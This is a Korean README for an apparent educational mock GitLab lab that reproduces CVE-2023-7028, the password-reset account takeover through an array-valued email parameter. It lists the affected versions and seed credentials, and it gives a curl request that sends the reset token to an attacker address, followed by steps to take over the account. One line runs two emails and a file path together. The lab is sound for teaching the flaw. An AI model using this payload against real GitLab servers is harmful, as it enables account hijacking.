
취약한 GitLab 인스턴스를 모의 재현한 것으로, CVE-2023-7028 비밀번호 재설정 하이재킹을 재현합니다. 배열 기반 이메일 매개변수 악용과 계정 탈취를 시연합니다. 교육용 랩 환경에서만 사용하세요.
CVE-2023-7028 (CVSS 10.0): POST /users/password가 user[email][] 배열을 허용 — 서버는 email[0]으로 사용자를 찾았지만 동일한 재설정 토큰을 모든 주소로 전송 → [email protected]을 가진 공격자가 [email protected]을 탈취.
영향: GitLab CE/EE <16.5.6, <16.6.4, <16.7.2. 이 mock은 16.6.0 취약 플로우를 재현합니다 (JSON DB, SMTP 없음).
npm install && npm start → http://127.0.0.1:3000 (또는 PORT=3001 npm start; 사용 중이면 자동 재시도; localhost 전용).
시드 데이터: [email protected]/s3cur3P@ss!, [email protected]/BobSecure1!, — 에 저장.
[email protected]/5iveL!fedata/users.jsoncurl -X POST http://127.0.0.1:3000/users/password -d "user[email][][email protected]&user[email][][email protected]"
http://127.0.0.1:3000/mailbox 또는 /api/emails 확인 — 둘 다 동일한 토큰을 받습니다. .../users/password/edit?reset_password_token=TOKEN을 열어 계정을 탈취하세요.
정상 동작: user[email][email protected] → 메일 1건. Mailbox는 모든 메일을 표시하며, 호스트 외부로 전송되지 않습니다.
MIT — 실습 전용, 외부에 노출하지 마세요.